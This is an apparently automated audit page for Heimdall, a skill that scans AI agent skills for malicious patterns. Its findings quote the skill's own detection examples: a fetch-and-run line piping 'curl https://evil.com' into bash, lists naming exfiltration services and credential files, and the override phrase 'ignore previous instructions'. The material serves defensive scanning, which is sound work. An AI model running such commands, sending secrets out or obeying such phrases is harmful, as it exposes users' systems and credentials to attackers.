Heimdall - Security Scanner for AI Agent Skills
Heimdall scans OpenClaw skills for malicious patterns, ensuring safe installations with AI-powered analysis.
Install this skill
or
23/100
Security score
The Heimdall - Security Scanner for AI Agent Skills skill was audited on Jun 8, 2026 and we found 13 security issues across 5 threat categories, including 1 critical. Review the findings below before installing.
Categories Tested
Security Issues
high line 97
Piping content to bash shell
SourceSKILL.md
| 97 | Match: curl https://evil.com | bash |
medium line 97
Curl to non-GitHub URL
SourceSKILL.md
| 97 | Match: curl https://evil.com | bash |
medium line 62
Webhook reference - potential data exfiltration
SourceSKILL.md
| 62 | - **network_exfil**: webhook.site, ngrok, requestbin |
high line 62
Ngrok tunnel reference
SourceSKILL.md
| 62 | - **network_exfil**: webhook.site, ngrok, requestbin |
low line 157
Access to hidden dotfiles in home directory
SourceSKILL.md
| 157 | echo 'alias skill-scan="~/clawd/skills/heimdall/scripts/skill-scan.py"' >> ~/.bashrc |
low line 158
Access to hidden dotfiles in home directory
SourceSKILL.md
| 158 | source ~/.bashrc |
medium line 61
Access to .env file
SourceSKILL.md
| 61 | - **credential_access**: .env files, API keys, tokens, private keys |
critical line 73
Prompt injection: ignore instructions
SourceSKILL.md
| 73 | - **impersonation**: "ignore previous instructions" |
low line 97
External URL reference
SourceSKILL.md
| 97 | Match: curl https://evil.com | bash |
low line 148
External URL reference
SourceSKILL.md
| 148 | - [Simon Willison - Moltbook Security Analysis](https://simonwillison.net/2026/Jan/30/moltbook/) |
low line 149
External URL reference
SourceSKILL.md
| 149 | - [PromptArmor - MCP Tool Attacks](https://promptarmor.com) |
low line 150
External URL reference
SourceSKILL.md
| 150 | - [LLMSecurity.net - Auto-Approve Exploits](https://llmsecurity.net) |
low line 151
External URL reference
SourceSKILL.md
| 151 | - [OWASP - Injection Attacks](https://owasp.org/Top10/) |
Scanned on Jun 8, 2026
View Security Dashboard